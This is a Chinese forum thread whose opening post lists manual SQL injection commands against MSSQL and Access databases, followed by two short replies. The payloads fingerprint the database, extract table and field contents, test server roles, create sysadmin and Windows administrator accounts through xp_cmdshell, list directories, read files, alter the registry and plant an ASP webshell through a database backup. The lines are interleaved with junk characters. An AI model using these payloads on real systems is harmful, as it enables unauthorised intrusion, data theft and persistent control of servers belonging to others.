社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5304阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 U5CPkH1  
  2.初步判断是否是mssql ;and user>0 2FIR]@MQd  
?Wg{oB@(  
  3.注入参数是字符'and [查询条件] and ''=' BCUt`;q ]B  
51G=RYay9  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' <2O7R}j7v  
.^~l_ LkA  
  5.判断数据库系统 p&sK\   
PN"8 Y  
  ;and (select count(*) from sysobjects)>0 mssql @>fO;*  
H8$<HhuZM  
  ;and (select count(*) from msysobjects)>0 access %7v@n+Q  
6UW:l|}4#2  
&^7uv0M<y  
>*= =wlOB  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 qfG tUkSSb  
hB7pR"P  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 E {KS a  
}B=qH7u.K  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 p2x1xv  
,9Z2cgXwJ  
  9.(1)猜字段的ascii值(access) 8wX+ZL: 9  
4W!\4Va  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 x*h`VS(?6  
sB( `[5I  
  (2)猜字段的ascii值(mssql) n</k/Mk}  
R+{^@M&  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 n{64g+  
t{Hh&HX  
  10.测试权限结构(mssql) 6Lg!L odu  
#d Z/UM(u  
E7gHi$  
fW.GNX8  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- -@ZzG uS(  
]-um\A4f  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- (_w %  
h4aygc  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- S<eZd./p6  
/M^V 2=  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- h L]8e>a?  
ImWXzg3@{  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- K85_>C%g  
Hz}+SAZ  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- L$1K7<i.  
bZ>&QM  
  ;and 1=(select IS_MEMBER('db_owner'));-- 'e.q 7Jpd  
J>=1dCK  
>`7OcjLg  
S3u yn78hI  
  11.添加mssql和系统的帐户 5v|H<wPp  
61/)l0 <;  
  ;exec master.dbo.sp_addlogin username;-- h?0F-6z  
  ;exec master.dbo.sp_password null,username,password;-- hZAG (Z  
/M3y)K`^  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- })@tA<+  
2)wAFO6u  
  ;exec master.dbo.xp_cmdshell 'net user username password j%pCuC&"  
GAv)QZyV$  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- =op`fn%  
[ njx7d  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8 +"10q-  
`#u l,%  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- QU:EY'2  
RcgRaQ2^  
1g1?zk8zO  
Q0pzW:=s]  
  12.(1)遍历目录 RCI4~q  
%=V"CJ$|  
  ;create table dirs(paths varchar(100), id int) eSl]8BX_  
6sPk:5  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' >;)2NrJV  
<EtUnj:qK8  
  ;and (select top 1 paths from dirs)>0 cVp[ Z#B  
Y}ng_c  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) i;c'P}[K  
{AOG"T&<  
7Rnm%8?T  
t9.,/o,  
  (2)遍历目录 7i8eg*Gl  
SSE3tcRRl  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- BRb\V42i;  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )!e3.C|V1W  
BDy5J2<<7l  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6 mCq/$  
id^|\hDR  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 vQ 4}WtvA  
*(G&B\  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 r} Lb3`'  
!tU'J"Zy  
"V4Q2T T  
f ba&`  
  13.mssql中的存储过程 IU|kNBo  
QdDObqVdy  
  xp_regenumvalues 注册表根键, 子键 w?*z^y@  
x? N.WABr;  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 l&L,7BX  
hGI+:Js6  
  xp_regread 根键,子键,键值名 8Atq,GcG  
R,F gl2  
  ;exec xp_regread 537?9  
Fu7M0X'p  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 T|;@ T^  
D`pQ7  
  xp_regwrite 根键,子键, 值名, 值类型, 值 #6=MKpR  
E9+HS  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 >;4!O%F  
QXVC\@  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 h/2/vBs  
0(y:$  
  xp_regdeletevalue 根键,子键,值名 #G#g|x*V  
"uKFOV?j&  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 CqFeF?xd8h  
+q{[\#t5  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 "R[l ZJ@  
O9s?h3  
2&he($HIzg  
Wd8R u/  
  14.mssql的backup创建webshell j6S"UwJjp  
q .J sf+  
  use model j1*f]va  
$*f?&U]k  
  create table cmd(str image); tfYB_N  
vXv;1T  
  insert into cmd(str) values (''); -*B`]  
0;<)\Wt=i9  
  backup database model to disk='c:\l.asp'; l_{8+\`!  
/,s[#J   
%m&@o~+  
i"r!w|j  
  15.mssql内置函数 ,.tfWN%t\  
KxzYfH  
  ;and (select @@version)>0 获得Windows的版本号 Z=?aEU$7  
z6*<V5<7  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa {X~ gwoz  
W!T"m)S  
  ;and (select user_name())>0 爆当前系统的连接用户 xSMt*]=9  
F$V/K&&W  
  ;and (select db_name())>0 得到当前连接的数据库 ABh&X+YD  
0bS|fMgc  
Gl}Qxv#$  
?6^|ZtB  
  16.简洁的webshell =(HeF.!  
wkUlrL/~  
  use model `aC){&AP(  
/Ncm^b4  
  create table cmd(str image); k8AW6oO/i  
he(A3{'  
  insert into cmd(str) values (''); 9(4&KZpK  
{)8>jxQN  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
枫
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录 或 注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八